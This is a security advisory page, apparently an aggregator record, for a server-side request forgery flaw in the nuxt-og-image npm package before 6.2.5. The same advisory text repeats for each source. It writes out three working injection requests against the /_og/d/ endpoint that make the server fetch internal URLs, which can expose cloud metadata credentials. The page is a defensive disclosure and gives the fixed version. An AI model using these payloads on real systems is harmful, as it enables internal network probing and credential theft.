GHSA-pqhr-mp3f-hrpp
Nuxt OG Image vulnerable to Server-Side Request Forgery via user-controlled parameters
Product: Nuxt OG Image Version: < 6.2.5 CWE-ID: CWE-918: Server-Side Request Forgery
Description
The image generation endpoint (/_og/d/) accepts user-controlled parameters that are passed to the server-side renderer without proper validation or filtering. An attacker can trigger server-side requests to internal network addresses through multiple vectors.
Impact
- Scanning internal ports and services inaccessible from the outside
- Reading sensitive data from cloud infrastructure metadata services (tokens, credentials) when verbose error output is enabled
Attack Vectors
Three distinct vectors were identified, all exploiting the same underlying lack of URL validation:
Vector 1: CSS background-image injection via style parameter
GET /_og/d/og.png?style=background-image:+url('http://127.0.0.1:8888/secret')
Vector 2: <img src> injection via html parameter
GET /_og/d/og.png?html=<img src="http://127.0.0.1:8888/secret">
When verbose errors are enabled, the response content is leaked in base64-encoded error messages.
Vector 3: SVG <image href> injection via html parameter
GET /_og/d/og.png?html=<svg><image href="http://127.0.0.1:8888/secret"></svg>
Mitigation
Fixed in v6.2.5. The image source plugin now blocks requests to private IP ranges (IPv4/IPv6), loopback addresses, link-local addresses, and cloud metadata endpoints. Decimal/hexadecimal IP encoding bypasses are also handled.
Credits
Researcher: Dmitry Prokhorov (Positive Technologies)
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
What each source reports
GitHub Advisories Score used
Nuxt OG Image vulnerable to Server-Side Request Forgery via user-controlled parameters
Product: Nuxt OG Image Version: < 6.2.5 CWE-ID: CWE-918: Server-Side Request Forgery
Description
The image generation endpoint (/_og/d/) accepts user-controlled parameters that are passed to the server-side renderer without proper validation or filtering. An attacker can trigger server-side requests to internal network addresses through multiple vectors.
Impact
- Scanning internal ports and services inaccessible from the outside
- Reading sensitive data from cloud infrastructure metadata services (tokens, credentials) when verbose error output is enabled
Attack Vectors
Three distinct vectors were identified, all exploiting the same underlying lack of URL validation:
Vector 1: CSS background-image injection via style parameter
GET /_og/d/og.png?style=background-image:+url('http://127.0.0.1:8888/secret')
Vector 2: <img src> injection via html parameter
GET /_og/d/og.png?html=<img src="http://127.0.0.1:8888/secret">
When verbose errors are enabled, the response content is leaked in base64-encoded error messages.
Vector 3: SVG <image href> injection via html parameter
GET /_og/d/og.png?html=<svg><image href="http://127.0.0.1:8888/secret"></svg>
Mitigation
Fixed in v6.2.5. The image source plugin now blocks requests to private IP ranges (IPv4/IPv6), loopback addresses, link-local addresses, and cloud metadata endpoints. Decimal/hexadecimal IP encoding bypasses are also handled.
Credits
Researcher: Dmitry Prokhorov (Positive Technologies)
- Record
GHSA-pqhr-mp3f-hrpp- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSV
Nuxt OG Image vulnerable to Server-Side Request Forgery via user-controlled parameters
Product: Nuxt OG Image Version: < 6.2.5 CWE-ID: CWE-918: Server-Side Request Forgery
Description
The image generation endpoint (/_og/d/) accepts user-controlled parameters that are passed to the server-side renderer without proper validation or filtering. An attacker can trigger server-side requests to internal network addresses through multiple vectors.
Impact
- Scanning internal ports and services inaccessible from the outside
- Reading sensitive data from cloud infrastructure metadata services (tokens, credentials) when verbose error output is enabled
Attack Vectors
Three distinct vectors were identified, all exploiting the same underlying lack of URL validation:
Vector 1: CSS background-image injection via style parameter
GET /_og/d/og.png?style=background-image:+url('http://127.0.0.1:8888/secret')
Vector 2: <img src> injection via html parameter
GET /_og/d/og.png?html=<img src="http://127.0.0.1:8888/secret">
When verbose errors are enabled, the response content is leaked in base64-encoded error messages.
Vector 3: SVG <image href> injection via html parameter
GET /_og/d/og.png?html=<svg><image href="http://127.0.0.1:8888/secret"></svg>
Mitigation
Fixed in v6.2.5. The image source plugin now blocks requests to private IP ranges (IPv4/IPv6), loopback addresses, link-local addresses, and cloud metadata endpoints. Decimal/hexadecimal IP encoding bypasses are also handled.
Credits
Researcher: Dmitry Prokhorov (Positive Technologies)
- Record
GHSA-pqhr-mp3f-hrpp- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
Affected packages
| Package | Affected | Fixed |
|---|---|---|
nuxt-og-imagenpm | before 6.2.5 | 6.2.5 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | GitHub Advisories, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
GHSA-pqhr-mp3f-hrpp is a medium vulnerability (CVSS 5.3) in nuxt-og-image, published March 31, 2026. No source lists public exploit code. Fixed in nuxt-og-image 6.2.5.